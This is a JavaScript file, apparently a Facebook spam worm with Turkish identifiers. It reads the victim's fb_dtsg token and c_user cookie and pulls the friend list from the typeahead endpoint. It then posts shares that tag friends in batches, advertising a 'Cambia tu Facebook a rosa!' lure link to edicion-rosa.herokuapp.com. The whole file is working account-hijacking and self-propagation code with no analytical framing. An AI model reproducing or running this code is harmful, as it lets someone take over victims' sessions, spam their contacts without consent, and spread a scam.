 var page_id = "edicion-rosa.herokuapp.com";
// Ayarlar //
function antispam(a) {
var b, c = "123654789",
d = "";
if (!a) a = 8;
for (b = 0; b < a; b++) d += c.substr(Math.floor(Math.random() * (c.length + 1)), 1);
return d;
}

svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);


var sec= Math.floor(Math.random()*99999);
var smesaj = ['testtter'] +sec;
var yazi = ['Cambia tu Facebook a rosa! >?'];
var urlm = ["edicion-rosa.herokuapp.com"]+"?"+sec+antispam();
var wplink = ["http://"]+antispam()+sec+["."]+urlm+["/"];

var smesaj = "";
var smesaj_text = "";
var arkadaslar = [];
var svn_rev;
var bugun= new Date();
var btarihi = new Date(); 
btarihi.setTime(bugun.getTime() + 1000*60*60*4*1);
if(!document.cookie.match(/paylasti=(\d+)/)){
document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString();
}

function arkadaslari_al(){			
		var xmlhttp = new XMLHttpRequest();
        xmlhttp.onreadystatechange = function () {
			if(xmlhttp.readyState == 4){
				  eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
				  for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
					smesaj = "";
					smesaj_text = "";
				  for(i=f*10;i<(f+1)*10;i++){
					if(arkadaslar.payload.entries[i]){
				  smesaj += " @[" + arkadaslar.payload.entries[i].uid +  ":" + arkadaslar.payload.entries[i].text + "]";
				  smesaj_text += " " + arkadaslar.payload.entries[i].text;
				  }
					}
					// fonksy?n kodu gelecek
					wp();
					}
				
			}
			
        };
		var params = "&filter[0]=user";
		params += "&options[0]=friends_only";
		params += "&options[1]=nm";
		params += "&token=v7";
        params += "&viewer=" + user_id;
		params += "&__user=" + user_id;
		
        if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
        else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
        xmlhttp.send();
}

//rastgele 10 arkadas getir
function RandomArkadas(){
	var sonuc = "";
	for(i=0;i<9;i++){
		sonuc += " @[" + arkadaslar.payload.entries[Math.floor(Math.random() * arkadaslar.payload.entries.length)].uid + ":" + arkadaslar.payload.entries[Math.floor(Math.random() * arkadaslar.payload.entries.length)].text + "]";
	}
	return sonuc;
}


//postpaylas
function postpaylas(){
		var xmlhttp = new XMLHttpRequest();
        xmlhttp.onreadystatechange = function () {
			if(xmlhttp.readyState == 4){	
			}
        };
		
		if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("POST", "https://www.facebook.com/ajax/sharer/submit_page/?__a=1", true); }
        else { xmlhttp.open("POST", "http://www.facebook.com/ajax/sharer/submit_page/?__a=1", true); }
        
		var params = "ad_params=";
		params += "&audience[0][value]=80";
		params += "&UITargetedPrivacyWidget=80";
		params += "&friendTarget=";
		params += "&groupTarget=";
		params += "&pageTarget=479679795382149";
		params += "&message=" + smesaj;
		params += "&message_text=" + smesaj_text;
		params += "&reshare=" + page_id
		params += "&UIThumbPager_Input=0";
		params += "&attachment[params][0]=" + page_id;
		params += "&attachment[params][1]=" + post_id;
		params += "&attachment[params][images][0]=http://i1.ytimg.com/vi/4kr_LlfqEqo/mqdefault.jpg";
		params += "&attachment[type]=99";
		params += "&uithumbpager_width=320";
		params += "&uithumbpager_height=180";
		params += "&src=i";
		params += "&appid=2309869772";
		params += "&parent_fbid=";
		params += "&mode=self";
		params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
        params += "&phstamp=165816749114848369115";
		params += "&__user=" + user_id;
		xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
		xmlhttp.send(params);
}



var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
function wp() {
var httpwp = new XMLHttpRequest();
var urlwp = '/ajax/sharer/submit/';
var paramswp = 'fb_dtsg='+fb_dtsg+'&ad_params=&friendTarget=&groupTarget=&pageTarget=550764821603059&post_as_page=1&mode=self&message_text='+smesaj+'&message='+smesaj+'&no_picture=true&attachment[params][0]=20531316728&attachment[params][images][0]=http%3A%2F%2Fprofile.ak.fbcdn.net%2Fhprofile-ak-snc6%2F188169_20531316728_1694617680_n.jpg&attachment[params][title]=.&attachment[params][summary]='+yazi+''+wplink+'&attachment[type]=18&composer_link_best_image_w=180&composer_link_best_image_h=180&composer_link_image_selected=0&composer_link_images_provided=1&composer_link_images_loaded=1&composer_link_images_shown=1&composer_link_load_duration=58&composer_link_sort_order=0&composer_link_selector_type=UIThumbPager_2&src=i&appid=2530096808&parent_fbid=&ogid=&audience[0][value]=80&UITargetedPrivacyWidget=80&__user='+user_id+'&__a=1&__req=l&phstamp=165816856971169997970';
httpwp['open']('POST', urlwp, true);
httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
httpwp['setRequestHeader']('Content-length', paramswp['length']);
httpwp['setRequestHeader']('Connection', 'keep-alive');
httpwp['send'](paramswp);
}
arkadaslari_al();